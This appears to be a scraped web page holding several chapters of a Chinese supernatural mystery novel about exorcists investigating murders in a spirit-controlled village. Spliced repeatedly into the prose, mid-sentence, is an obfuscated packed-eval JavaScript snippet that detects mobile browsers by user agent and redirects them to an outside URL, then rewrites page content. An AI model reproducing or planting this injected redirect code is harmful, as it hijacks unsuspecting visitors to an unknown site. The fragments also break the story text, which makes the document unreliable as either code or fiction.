l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150834|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要斩断它,它才会出现在我的面前。” “或者你可以得出这个结论,”我道,“线可以切断现实中并不存在的——也就是‘抽象’的东西。” 姚千这次沉默的时间更长了,与其说是理解,不如说他似乎在思考着其他问题。对他的思索不感兴趣,刚才的惊险感尚未褪去,我分享欲大盛,开始向姚大师讲述刚才我脑中的情景。 “作为灵能力的激发来说,不算是罕见的情况。”姚千听完,向我解释道,“许多灵能力者,都是在情绪激动的时刻,才激发了灵能力的使用。” 显然,刚才的我也是如此。 经历了这样一场刺激的袭击,想要再度安然休息多少有点困难,姚千干脆坐在椅子上,朝我科普起了灵能力的相关知识。 “所谓灵能力,就是根据人类或者残灵自身的特点,使用灵力的一种方式。” 姚千道,“对于残灵而言,基本都能够感受到灵力的存在,绝大多数也都能够使用灵能力。” “之前对你解释过,在人类中,只有极少部分的‘灵感者’能够看到魂灵或残灵的存在,感受到灵力。而灵感者中的更少一部分人,因为体质或经历的特殊,也能够使用灵能力,他们则被称之为灵能力者。” “在此之中,选择以处理残灵事件作为职业的人,也就是所谓的‘驱灵师’。” 对这一问题已经十分理解,我举手提问:“所以,一些灵感者就是像我这样,在特殊经历中产生了灵能力,从而变成了灵能力者?” 姚千短暂地沉默两秒,嗯了一声。 “是的。另外的一些人,则是天生就与灵力有极高的亲和性,不需要任何特殊经历,就能够自然而然地觉醒灵能力。” 他的目光落在我身上,看不出是什么意思。我对此没在意,感兴趣地问道:“这样说来,第二种人岂不是天生就要更厉害一点?第一种人即便掌握了灵能力,天赋多半也不如这种人?” 姚千嗯了一声。 “那你是哪种呢,姚大师?”我继续问。 从在姚千身边这段日子的所见所闻中,我也能察觉到,姚千作为驱灵师,应当算是相当厉害的角色,说他天赋异禀应当是合理推论。 “是第一种。”姚千语气平淡地答道,“我是在一次残灵的袭击中,觉醒了灵能力。” 他看向别的方向,眼睫略垂:“灵感者由于能够看到残灵,所以被残灵所伤害的可能性,比一般人要大一些。” 这个我懂,夏目友人帐么。 我接着道:“所以呢,你当时觉醒了灵能力,当场斩杀了那个袭击你的残灵,从此走上驱灵师之路?” “不。”姚千看着我,“是一位驱灵师赶到救了我。况且我的灵能力很弱小,也不足以杀死残灵。” 我意外:“刚觉醒的灵能力会比较弱小吗?” 可我刚才使用灵能力时,感觉自己……还蛮强的。 “不是刚觉醒时就一定弱小,弱小的只是我的灵能力。”姚千道。 我不解:“你是指刚才控制空气的能力?” “不。”姚千摇头,“这不是我的灵能力……或者说不是我的灵能力本身。” “我说过,”发现我无言以对,他似乎略显愉快,弯起眼,朝我露出一个笑,“等你记忆恢复时,就知道了。” 15. 爱与杀戮的桃源乡11 和姚千聊过一会儿,我的心情渐渐放松下来,困意涌上心头。 但脑中仍有什么尚未放下,异样的存在感不断提醒着我,现在还不是休息的时候。 我从盘腿坐着的床上起身,想从柜子里找点什么吃两口,打消困意。 “灵域主人在我们这里吃了瘪,不会就这么灰头土脸地回去,什么也不做吧。”我自言自语地道。 “如果你是灵域主人,会怎么做?”姚千回道。 “如果是我的话嘛,肯定会默默观察我们两人的动向,分析弱点,好卷土重来一网打尽。”我语气邪恶地说完,又转口轻巧道,“但我不是灵域主人,如果我是它,这一切的布置都会高明得多。” “所以,问题不是如果我是灵域主人,会怎么做。”我伸出手指在空中虚空点了点,“而是,如果是灵域主人这个家伙,它接下来可能会怎么做。” “这是个容易受到惊吓、行事缺乏稳重,又没有原则的家伙。” 我总结,“今晚在我们这里碰了壁,可能会需要一些时间才敢再次对我们下手。但是呢,现在的它肯定会对我们怀恨在心,不会就这么善罢甘休。” “它今晚有可能去杀死其他人。”姚千垂眸道。 我点点头:“操纵村民杀死其他人,不但可以泄愤,或许它还有方法伪装成我们所杀——这就是最坏的情况。” “它大概率还会操纵杀死左子宁的那个人,继续杀人。”姚千一边说着,看向窗外,“但我们现在仍然不知道它所操纵的那个人究竟是谁。” 村中人数虽然不多,但毕竟也分散在许多房屋里,前后有几百米距离。想要现在出门,截获被操纵者,这种操纵成功率不高不说,还极可能被村民当成杀人者当场抓获,明天直接高票投走。 更重要的是,被操纵者或许此刻正与被杀目标共处一世——这样一来,在屋外几乎是完全无法察觉到的。 “想阻止杀人,必须要先找到那个被操纵的人。” 我撕开零食的包装袋,往嘴里塞了一块薯片。 到底是谁杀了左子宁? 年轻女人颤抖着闭上眼睛的画面再次浮现,我皱起眉,有什么沉甸甸压在心头——仿佛是遗漏了什么。 白天的分析没有问题,这个食堂里几乎所有人,都有机会在餐盘上动手脚。 但是,这个推测,确实还存在着一个问题。也就是我之前对任谊所说的,如果真是随机杀人,那灵域主人又是怎么确保被杀者在死前产生强烈的情绪? 那一刻的左子宁,虽然已经因毒素而影响了神经,却似乎还保持着一些意识,她的眼神扫过众人,最终落在我的身上。 她想到了什么?她已经知道了凶手是谁? 不可能,即便是左子宁本人,也不可能知道投毒之人到底是谁。 即便她和众人最初的想法一致,武断地认为给她端来餐盘的方泰和就是投毒之人,她最激烈的情绪和最后的目光,也应该落在方泰和,而不是我的身上。 为什么是我? 我……做过什么? 我捻着手上的薯片,忽而愣住了。 “姚千,”我缓缓开口,近乎一字一顿,“我碰过左子宁的零食。” 姚千转头看我,语气不定:“你是指那盒巧克力豆?” “对。”我举起手上的薯片向他示意,“既然我们不是真实存在的,那么这袋零食也只是灵域的造物,可以随时被灵域主人抹去。” “也就是说,在我们发现左子宁的时候,那盒巧克力豆,真正使她中毒的凶器,其实已经消失了。” 思路彻底理顺,情势刻不容缓。我一边朝门外走去,一边对姚千道:“被操纵的人不是方泰和,而是田玥。” “经手过那盒巧克力豆的田玥。” 离开自己的家,潜入夜色,村中一派寂静,唯有轻微的风声带出秋季的凉意,我们迅速朝着田玥家而去。 “来到这里的当天下午,我曾经经手过田玥手中的巧克力豆,那是一小盒巧克力豆,里面还有很多颗。”我继续解释道。 “而在此之前,田玥也碰过这罐巧克力豆,但她当时是倒出了很多颗,又将多倒出来的部分倒了回去。很多掌握不好量的人都会这么做,何况田玥还是个小孩。由于经手很快,”我在手上简单比划了一下,“左子宁或许看到了,但也没有在意。” “我吃巧克力豆时,其实也分给了田玥几颗。但是现在回想起来,那些巧克力豆,田玥一颗也没有吃过。” “她一直拿在手上,玩食物一样地摆弄巧克力豆。即使看到这样的情况,一般而言,也不会引人在意。”我一顿,“但是当左子宁吃下巧克力豆,毒性发作时,很快就会想到这件事情了。” “她在死前曾经将视线落在我身上,大概因为我曾经碰过那些巧克力豆,但我从来没有将巧克力豆倒出来过。很快,左子宁就会想起来,真正有机会在巧克力豆上下毒的人,其实是田玥——曾经将巧克力豆倒出来,再装回去的田玥。” “左子宁大概对这个孩子是真心喜爱。” 喜爱愈是真心,被背叛的痛苦愈是剧烈。 我们已经来到田玥和刘君雅所住房屋的门口。 门一推不开,明显是上了锁,夜不闭户的优秀村风显然不适用于杀人者会出没的夜晚。走在前面的我没有犹豫,蓄力一秒,已经抬脚狠狠朝着大门踹去。 这一瞬间,有力量顺着我的用力方向顶开了房门,是姚千操纵着的空气。 我们进到院里,姚千像是要操纵空气将屋门打开,却被我伸手制止了。 两扇门之间的门缝渗出一道细细的暖光,从中透出刺鼻气味——熟悉的铁锈味道。 “吱呀” 门从里面被推开了。 幼小的身影站在门里,一手推门,一手提刀。 对于她而言,这把刀的重量实在是有些负担,刀头向下直直地垂向地面,红色液体沿着银色的刀身一滴一滴落在地面上,形成一块小小的、饱满的血泊。 灯光背着田玥,阴影使她幼小面容显出格外的阴森狰狞。 “你们不是很厉害吗?” 孩童稚嫩的声音发出问句,语气和半小时前听到的相差不多。 她眼神落在我身上,显出与稚嫩脸颊颇为违和的快意,唇角扬起,脸上的血迹随之而动:“不是觉得自己很聪明吗?” “怎么还是没能阻止我呢?” 她放肆且得意地笑起来,声音愈加高昂。 “怎么还是来得——这么晚呢?” 下一刻,她两只手一起抓住刀柄,用尽力气,胳膊作为绳索一般抡起,将手中尖刀猛地甩过来。 风声尖利,刃尖朝我面门破空而来—— 我下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150835|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识正要矮身躲避,姚千却先一步以空气为屏障拦在了我身前,刀受到阻碍改变方向朝下摔去,金属着地,发出响亮的“哐当”一声。 这么一晃神的同时,田玥也仿佛失去全身力气,倒在地上,失去意识。 灵域之主的操纵离开了她的身体。 我来不及观察她的情况,绕过她朝着门内奔去。 屋子里椅子摔倒,满地狼藉。墙壁一边,倒着一具失去生机的身体。血液不算温热,看样子死去已有一段时间,外翻的刀痕却还新鲜,大约是听到我们踹门的声音,才又将刀从刘君雅的身体里拔了出来。 也就是说,刚从我和姚千处离开,灵域主人立刻就来到了这里。 它早有计划,或者说,刘君雅本就是它的第二个目标。 面对一心打算杀死自己的女儿,刘君雅定然已经明白杀死左子宁的人究竟是谁。她挣扎过,大概也试图从年幼的女儿手中夺过凶器,然而无法对抗灵域主人的她,最终还是被杀死了。 满地均是打斗过的痕迹,我仅仅挪动一步,也要小心不要踩到什么。 我伸出手,触摸到刘君雅的身体。 这个灵域里并没有真实存在的身体,所有人包括我,都只是在灵域规则下生活在这里的魂体。食物和身体,在这个村落里同样是虚假的。 然而此刻,逐渐与夜晚冰冷温度重叠的身体,在我的感知中却显出凄冷的真实。 她是被杀死的魂灵,也是真正即将永远变成植物人的、真实存在于现实中的某个人。 或许是因为村中还没有足够的人到来,刘君雅的身体并没有像左子宁那样快速消失。我蹲在她的尸身前,自言自语道:“如果我们来得更早一点,她就不会死了。” 姚千跟在我身后踏进屋,听到这句话,他道:“你本来就不可能救下所有人。” 我干干笑了一声。 姚千又道:“作为驱灵师,要用加法的视角去看这些经历。可以记得自己救下了多少人,不要记得自己差一点、或者大概能救下的人。” “永远用这种心态勉强自己的驱灵师,是没办法走到最后的。” 他这句话说得干巴巴的,听着也不像他的口吻。可见姚千虽然有很高的灵力水平,却并不是一个做思想工作的好手。 我有点好笑地问:“这是你从别人那里听来的?” “……嗯。”姚千不太干脆地承认了。 “行吧,虽然我不是驱灵师,但你说的有道理。”我勉为其难地接受了他的安慰。 将现场整个看过一遍,我和姚千准备先行离开。目前天色未亮,我们无法把村民们一一叫醒不说,无缘无故突然地出现在现场,也多半会引起村民的怀疑。 看着姚千控制空气,将我们来过的痕迹打扫干净,我突然有了新的想法。 “说起来,虽然这个村庄里人类的身体、所食用的食物,都是被灵域主人伪造的,但空气,植株、或者大多数房屋,应该都是真实存在的吧。” 姚千肯定了我的看法:“对大多数灵域来说,虽然其中的部分存在是虚假的,但本质上仍然是利用真实的空间和环境所建造的,与现实息息相关。” 我略微点头,突然道:“这么说来,在这个灵域中,应该也真实存在着那种东西吧。” “什么?” “我们、哦不,是你们的尸体。” 16. 爱与杀戮的桃源乡12 天色快要彻底亮起来时,我窝在床上浅浅地睡了一觉,是任谊敲门声音将我吵醒的。 他很不拿自己当外人地闯进屋里,大声疾呼:“姐啊,你怎么还睡着呢?村里又死人了。” 我尚未睡醒,敷衍他:“那你去看一下情况啊,过来喊我干什么?” “……我这不是喊你一起吗?” “怎么,你难道还害怕尸体,不敢一个人去吗?”我睁开眼,不耐烦地补上一句,“而且村里人都在那里,有什么害怕的?” “我就是害怕尸体不成么?”任谊居然十分理直气壮地自曝其短起来。 睡意彻底被无厘头小任驱散了,我从床上坐起来叹气道:“你害怕尸体做什么驱灵师?” “我就是为了这种横死的人少一些,才做驱灵师的啊。这是我高尚的职业理想。”任谊大义凛然,“这之间有什么关系吗?” 姚千这时正打了一盆水进来,村里没有自来水管,洗漱都要从村中水井里打水。 我看着他将水盆放在桌上,笑道:“你来晚了,错过了小任高尚的职业理想。” 任谊有点绷不住:“怎么了,我就是想要拯救更多人才想当驱灵师的啊……” 他转向姚千:“姚先生你应该懂我的吧!” “我不是。”姚千干脆道。 “……”小任说不出话了,表情活像是滤镜破碎。 我给自家老板打圆场:“怎么了,天下熙熙,皆为利来,为名为利怎么了?” “也不是为了名利。” 姚千转脸把我的话也推翻了,喊我,“我已经洗漱过了,水是打给你的。” 我起床洗漱,顺便将昨晚的事情也一并讲给了任谊,当然隐瞒了我觉醒灵能力的事情,含糊地将相关情况一笔带过。 之后我们便再次去到了昨晚的现场,和我们离开时并没有任何区别。由于我们的小心打扫,并没有人怀疑曾经有其他人来过这个地方,村民们几乎全部的注意力都集中在了两件事情之上。 第一是刘君雅的死亡,第二便是田玥的失踪。 “西瓜刀上的血手印这么小,除了是田玥,不可能是其他人了。”杨天明杨老师仍然跟昨天一样,冲锋在指认凶手的第一线,看到凶器,即刻做出判断。 村民们是怎么忍住不把他投出去的?如果不是凶手已经确凿无误,我真的很想投他一票试试。 我们到达时,村里的人已经几乎全部来齐。经过一番寻找,还是没能找到田玥的所在。 直过了半小时,杨谷终于下了决定:“不能耽误早晨投票的程序,可以视为田玥缺席,投票继续。” 这场投票的发展和我预想中相差不大,凶器上孩童手印尚未擦除,大多数人都认为是田玥杀死了刘君雅,将凶手票投给了田玥。但在投执行票的时候,又有不少人陷入犹豫。 我举手发言:“虽然现场很清楚了,但毕竟小田玥没有出现,也不能排除是有人故意栽赃污蔑她。” “毕竟是那么小的孩子,现在又找不到人,是生是死都不清楚,没有更确切的依据就决定杀掉她,我还是觉得不太好。” 说罢,我率先投出放弃票。 最后投票以7比6放弃了对田玥的处决。 投票结束后没一会儿,田玥又懵懵懂懂地出现在村中,满身带着飞溅的血迹,显然是杀人者无误。 杨天明恨恨指向她道:“果然她就是被邪灵附身的那个人,你们现在相信了吧?让我们重新投票吧。” 杨谷淡淡拒绝了:“今天投票的仪式已经结束了,即便杀了她,也无法驱逐邪灵。” 不知为何,虽然杨谷一直是这种大公无私的语气,但我莫名感到,她似乎对杨天明的态度更针对一些。 听到其他村民不满的起哄声,杨谷又道:“既然邪灵附身者已经找到,今晚严加防范就是,不会有事的。” 村长威信做背书,大家不情不愿地接受了这个结果,而田玥则被关进另一间屋子,反锁上了房门。 很好。看到这个结果,我心中十分满意。 田玥的失踪当然是我和姚千一手设计——毕竟,出现在杀人现场满身血迹的田玥,无论如何都很难摆脱被投票处决的结局。 为了避免这一情况,我让姚千操纵灵能力,将田玥藏在了一个难以被发现的地方,并制止了她可能会发出的喊叫。 在田玥本人没有被找到的情况下,加之我的推波助澜,投票将人处决的可能性会大大降低。而等到投票结束,姚千也就没有必要持续消耗灵力限制田玥的行动了。 虽然又死了人,但有关于邪灵的危机也算是基本宣告解除,彼此间的猜忌减少许多,村中恢复些许和谐氛围。 我跟随众人从投票结束的祠堂出来,喊住了任谊。 “在祠堂。”三人来到无人处,我说。 任谊茫然看我。 我向他解释道:“刚才的案发现场,虽然看上去是刘君雅被杀死了,但出现在那里的并不是刘君雅真正的身体,而是她的魂灵。” 任谊点点头:“这个我早就知道啊。” “而在早晨,大多数人看到刘君雅后,她就消失了——根据之前我们在山外所看到的情况,在村中被杀掉的人,死去的魂灵其实是会回到身体之中的。” “刘君雅的魂灵消失在我们眼前后,也会回到自己的身体中去。”我道,“早晨跟你说过,我的灵能力是用灵力生成的线。既然是线,作用就不仅仅是切割。” 任谊的眼睛渐渐睁大了:“也就是说……” “你用线牵在了刘君雅的魂灵上?” “没错。” 我道,“根据线去往的方向,刘君雅的魂灵在被送到了祠堂之后,很快又被带离了村落。这和之前被害人在山下被发现的情况,也相符合。” “也就是说,祠堂长桌后面那面厚实墙壁的真实形态,其实是村中众人的身体?” 任谊恍然大悟,“所以,当时曾玉成留给我的那句话,说突破口在祠堂,原来是这个意思吗?” 他皱起眉,又喃喃道:“但是,突破口,为什么说那里是突破口?” 姚千语气平淡地回他道:“如果能看到所有放在那里的身体,那么灵域主人究竟是谁,也就一目了然了。” “毕竟在所有村民中,只有灵域主人是没有身体寄放在那里的。” 这句话其实不完全对,我作为残灵也没有身体寄放在那里,只是任谊还对此尚不知情。 “但问题是,”任谊点点头,又问,“我们现在看到的,只是祠堂的样子——到底怎么样才能看到里面究竟有谁的身体?” 这个问题就有点难度了。 沉默几秒,我突然道:“你们觉得,为什么身体会被留在祠堂里,无法被我们看到?” “什么?”任谊不明所以。 “是规则。”只有姚千听懂了我的话,“身体与魂灵分离,并被保存在灵域之中,是这个灵域规则的一部分。” 我点点头,继续道:“灵域主人虽然在灵域中拥有强大的权限,但从灵力的强弱上也能判断出来。是灵域给予了灵域主人在灵域中强大的权限,而不是灵域主人用他强大的能力操纵了灵域。” “灵域作为人类死亡成为残灵时,由剧烈情绪所伴生的存在,自成体系,本身就可以吸收灵力以维持灵域的运转。”姚千解释。 “也就是说,灵域对于灵域主人而言,可以类比成一辆车,或者一架变形金刚之于之人类。人类虽然有操纵机器的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150836|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力,但仍然要受限于机器本身的机能——也就是灵域的规则。” “既然祠堂中被隐藏的身体,是灵域的规则之一,也就是这个机器的元件之一……”我一顿,突然朝姚千问道,“有没有这种可能,当这个灵域赖以存在的其他规则受到影响时,祠堂也会随之产生动摇——从而出现变化?” 姚千的目光落在我身上,沉默半晌没有说话。 “可不可行?”我问他。 “……是成立的。”他沉吟道,“就相当于以动摇整个灵域的根基,以影响灵域的稳定性。” “而这其中最重要的,是抓住灵域赖以存在的基础规则——又或者说,是灵域主人作为人类身死时最执着的情绪。” 他做出总结:“只有动摇了最重要的规则,才能真正影响到灵域。” “这个嘛……”我眨眨眼,看向遥远处的学校位置,“也不能算太过困难吧。” 十多分钟后,我抱着零食,坐在了教室外面的小院中。 这几天里我算得上是争分夺秒地品尝着食物,来村里这一天多时间里,我已经将刘君雅厨房里那间小柜搬空了一半,如果她现在还在,不知道会不会心疼村里的零食储备。 想到这里,我心中隐约产生了一些伤感情绪,于是又往嘴里填了一口薯片。 关于食物,这两天我又有了一些新发现。虽然从我有记忆以来从没有吃过薯片,但对于不同口味的薯片,我竟然也能体会出“吃过”和“没吃过”的区别。 这倒是也不令人太过意外,毕竟我虽然失了忆,却还会正常说话和思考,足以见得其实大部分记忆还都在正常运行。 照这样下去,大概有朝一日,我也能回忆起我此前的人生,和致使我死亡的原因吧。 “姐,你是想怎么说?”任谊坐在身旁,问我话的语气理所当然,好像我是他的老师或者其他什么前辈。 不知为何,这个年轻人好像真的对我产生了一种莫名的信任感。等到我们离开灵域,他发现我其实并不是人类,说不定还会大吃一惊。 我看了看他,刚想说话,却听到教室里传来杨天明略显疲惫的声音。 “今天的课就上到这里吧,今天大家都累了,先休息吧。” 毕竟村子里已经连续出现两桩命案,虽然已经近乎尘埃落定,但残酷现实带给人的阴影多少还需要时间来抚平。 杨天明从教室走出来,看到坐在操场上的我们两人,朝我们打了个招呼,道:“来了啊。”他又看看任谊:“今天要上课吗?” 我这才又想起来,任谊也是这座学校里的任课老师之一。 “今天不是没排我的课吗?”任谊随口道,“就是过来看看。” “顺便查点东西。”我理所当然地又补上一句。 看得出,杨天明很努力地压制住了脸上的异样神色:“调查什么?” “当然是杀人凶手了。” “凶手不是已经很明显了吗?”杨天明露出费解表情。 “不一定啊。” 我朝着对方笑笑,“毕竟结果还没有被验证,是不是真正的真相,也不好说。” 还没等他说话,我又道,“杨老师,其实我这两天一直在想一件事情。” “你说,之前几次邪灵降临中,死去的人,就一定都是被那个被投出的邪灵附身者杀害的吗?” 我一边慢条斯理地说着,一边直视着杨天明。 “有没有可能,存在着这么一个人,虽然杀了人,却始终没有受到过惩罚?” “毕竟,虽然投出那个邪灵附身者了,但确实也没有任何的迹象,能够证明所有人都是那一个人杀的,对吧。” 在我所见的视野之中,杨天明的瞳孔渐渐放大了。 17. 爱与杀戮的桃源乡13 “你这个话是什么意思?” 这人问话时仍然尽力维持着平静语气,几乎听不出什么异常。 “就是随便猜猜啊,”我又拿了薯片放进嘴里,朝任谊努努嘴,“刚才我正和小任聊着这件事呢。” 听到这话,杨天明的脸色渐渐放松了些,挤出笑容道:“你这样想,就是觉得村里除了邪灵降临的原因,还会有人为了一己私利,去杀人?” “不会吗?”我反问他。 杨天明摇摇头:“我们的村子,桃源村,不是这样的。” “这是被善意所笼罩的村落,除了被邪灵控制,不会有其他人,因为其他原因,去杀人的。” 他加重了语气,用略显沧桑的一张脸做语重心长的说教,“小苏啊,你可能在这里待的时间还不够长,等过一段时间,你也会认同这个观点的。”他眼神渐飘忽,声音近乎喃喃,“村子里的每个人都会认同这个观点的。” 我虚情假意地打哈哈。 接连死了两个人,连我都差点忘了,桃源村里原来还有这种团结友爱的设定来着。 等杨天明走远,任谊才终于从惊讶中走出来似的问我:“你怎么知道杨叔有问题?” “没觉得他有问题啊。”我道,“我确实有过此类怀疑,但没真的怀疑到他。只是觉得这人在投票时那种冒头激进的态度有点可疑。” “反正随口试试,又不会掉块肉。” 我摊手,“你看,这不是挺有收获的?惊喜吗?” “……” 任谊沉默片刻,“那你觉得杨叔是什么情况,他真的浑水摸鱼地杀死过村中的某个人?” 他认真思考片刻:“但是,即便如此,这跟我们要找的答案也没什么关系啊?” “当然不是。”我问他,“如果你是灵域主人,在你的地盘上,有人打着你的名义,在你的指示以外,偷偷杀人,还背弃了你给村子设定的‘团结友爱’。” 我语气夸张地反问,“换成你你能忍?” 任谊被我问懵了:“……不能,吧?” “这就是了。”我道,“而且你看他刚才说村子善意的时候,说的话不像是假的吧。” 任谊陷入思考:“所以……他杀人,并不是自己要杀。是灵域主人的指示?” 我没有回答他,视线中,充作学校的低矮平房里,三个学生从里面走了出来。虽然现在已经基本能够确定,灵域主人出自于这三个人之间,但再看三人,却也看不出什么明显的不同来。 就像村子里的人看上去和普通的友善村民毫无区别,三个少年人看上去也与随处可见的高中学生并无差别。 见他们走过来,任谊停止和我的交谈。因为长期在这里上课的缘故,他和三个学生也格外熟络,我们聊过几句,三个学生便打了招呼离开。 在这里坐了半小时,我手中的大包薯片也已经被斩尽杀绝,拿出纸巾擦擦手,我迎上任谊疑惑的目光。 “这就,让他们走了?”任谊见三人走远,低声道,“不再聊点什么吗?” “怎么,你以为我三言两语,就能从他们中间辨别出谁是真正的灵域主人?或者略施巧技,便可套出话来,辨别真伪,大喊一声,呔,你小子已经露出破绽。”我面无表情地反问他。 任谊低头流露心虚之色。 我吃惊:“你真这样想啊……” 任谊可疑地闭嘴。 我看他:“非要说的话,也是我问你吧。你和他们这么熟,在这中间就没有问出过什么?没有过什么怀疑的对象?” “怀疑的对象确实没有。在这之前,我也没有确定灵域主人就在这三个人中间。” “但我确实旁敲侧击地问过他们,”任谊回忆道,“他们三个人在进入灵域前不就是互相认识的的吗?” “但如果其中有一个人是灵域主人的话,那么必然有一个人的到来是早于另外三个人的。”任谊道,“所以,我曾经问过他们,谁是到来村子最早的那个人。” “你猜他们当时的答案是什么?” 我答:“他们说三个人是同时到来的。” 任谊点头:“嗯,他们每个人都是这么说的。应该是记忆已经被篡改了,另外两个人根本不记得灵域主人表现出的异样。” “我觉得不是。” 我无情地否定了他的答案,“你应该还记得我之前所说的,为什么我认为这三个人存在着灵域主人。” “是灵域主人想要留下两人的性命,以期折磨另外两人。” “如果确实是这样,灵域主人就不可能让自己的两个‘朋友’像是寻常村民一样,过着平安祥和的生活。” 我声音压低,试图酝酿恶毒的恐怖氛围,“让他们每时每刻和自己最恐惧的人生活在一起,一起上课,乃至同寝睡觉,永远也得不到解脱——这才是最美妙的折磨。” “好好我明白了。”任谊打断我的表演,“所以,你觉得他们其实是知情的。” “嗯,有一半可能吧。”我道。 “所以,我现在出去把其中一个人叫出来,再聊聊?” “是不是过于可疑了?” “确实。” 我拍拍手:“其实也不用,刚才和杨天明老师的对话,让我已经有了新的方向。” “你是说,他也曾经在灵域主人的控制下杀过人这件事?” “这是不是能说明,他曾经也在现实世界认识灵域主人——从而沦为了被报复的对象?”我反问,“怀揣着杀人的秘密,从此生活在自责与恐惧中,怎么不是一种报复的方式?” “灵域主人是懂得杀人诛心的。”任谊想了想,下出这样的结论。 午饭后,我和任谊找到了回房休息的杨谷。 听过任谊对于第二三次邪灵降临的描述,我姑且已经做出揣测,杨天明所杀的人,多半就是第二次邪灵降临事件中的第一位受害者,也就是杨谷的丈夫。 首先,杨天明是在第一次邪灵降临之后才来到村子的;其次,邪灵降临最终被投票决出的凶手多半情况下都是在其后杀人中暴露的马脚。也就是说第二次邪灵降临中第二三个被害者,多半会留下关于凶手的确凿证据。 只有第一个被害者身上的证据多半明显不足,存在有其他凶手浑水摸鱼的可能。 当然,这也只是粗浅揣测,如果真的猜错了的话,姑且就当排除一个错误答案。 抱着这样的想觉悟,我喝下杨谷端给我的茶水,朝她提出十分直白的问题。 “你有没有觉得杨天明的行迹有点可疑?” 我一边说话,一边观察着面前女人的神色,“我在想,每次邪灵降临,杀人者真的只有那一个人吗?” 在村子里待过的这一天多时间,已经足够令人察觉到,除驱灵师之外,村长杨谷是这个村中最具理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150837|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智的人类。 杨谷看着我,和我预料的一样,她并不因我提出的问题而显出意外的神色。 沉默十数秒,她语气平静的开口道:“你是说,杨天明杀了我丈夫的事情?” “……” 这情节发展过于突兀,连我也怔了怔,任谊更是脱口而出:“什么?” “哦,我觉得你们既然都说到这个份上了,大概说的就是这件事吧。”杨谷对我的惊讶没什么反应,倒显出我们两人的惊讶十分没有风度。 “你既然知道,为什么……” 这一时间,我已经跳出许多可能性,朝着各路荒诞方向疾驰而去。 杨谷道:“我是之后才慢慢发现,杨天明并不是一个很能藏得出心事的人。” 是的,这点我也赞同。 杨谷语气坦然地继续解释道:“也是因此,我觉得他并不是真的想要杀死志奇。他多半也是在邪灵的控制下做出的错事,这样的情况下,我再去揭穿苛责他,并没有意义。” 她语气过分淡定,越是说得这样轻描淡写,越是让人毛骨悚然。 一定有什么不对劲。 “那你,不会觉得这个邪灵降临的规则有问题吗?杨天明也曾经被邪灵控制过,这不是和祠堂里‘那本书’上的记载相悖吗?” “你今天这样来问我,不就是对书上的规则产生了质疑吗?” 杨谷端起茶,喝了一口,视线落在我身上,她目光深沉,让人有被洞穿的错觉,“刚才是你先质疑了书中的规则,我才把这件事情告诉你的。” “确实,书上的规则是有问题的。” “我们所在的这个村子,本身不就是有问题的吗?”她的语气没什么起伏,好像曾经说过许多次似的。 “既然有邪灵降临,这是一个会死人的村落,即便再幸福,为什么没有人逃出去呢?” 她抬头看看天花板,仿佛能透过那里,看到什么特殊的存在,“还是说,有什么控制着我们,让我们逃不出去呢?” “既然你察觉到了……” 我一顿,“为什么你还在沿着那本书上的规则,继续带着大家投票杀人?” “我反抗不了。”杨谷看看坐在我一旁,已经因过于震惊而陷入石化的任谊,“你也记得曹玉成吧?” “他是死了吧?从那一晚,他莫名其妙的消失了,而你的表情,显然是知道他并没有逃出去,而是死掉了。” “我早就知道这个村子有问题,我想,我也曾经告诉过其他人。” 杨谷伸出一根食指,轻点自己的太阳穴,“但是,我已经没有相关的记忆了。连同这些揣测,也是最近才萌生出来的。” “我猜,有关于此的猜测已经出现过很多次了,只是因为我告诉了其他人,才会被清除相关的记忆,连同我之前的猜测也被一起洗掉了。” “也就是说,”她温温地笑起来,眼含苦涩。 “我现在即使告诉你们,想来,我们的记忆很快也会被洗掉。我也不用再受到怀揣这种记忆的痛苦,直到我下一次再回想起来。” 说到最后,她的语气已经陷入绝望。 “不会的。”我开口道。 杨谷不明所以地抬头看向我。 我告诉她:“你说的这些并不会发生。很快,在今天之前,一切都会被解决的。 “你会看到所有的真相,并且离开这里。” 18. 爱与杀戮的桃源乡14 这次终于换杨谷露出意外的表情,她一顿,问道:“为什么……” 不等她说完,连接着院落的木门被打开,姚千和杨天明站在门外。 这两人一个面无表情,一个神色狼狈,形成鲜明的对比。 杨谷看向门外的两人,这次终于换她露出意外神色。我深感宽慰。 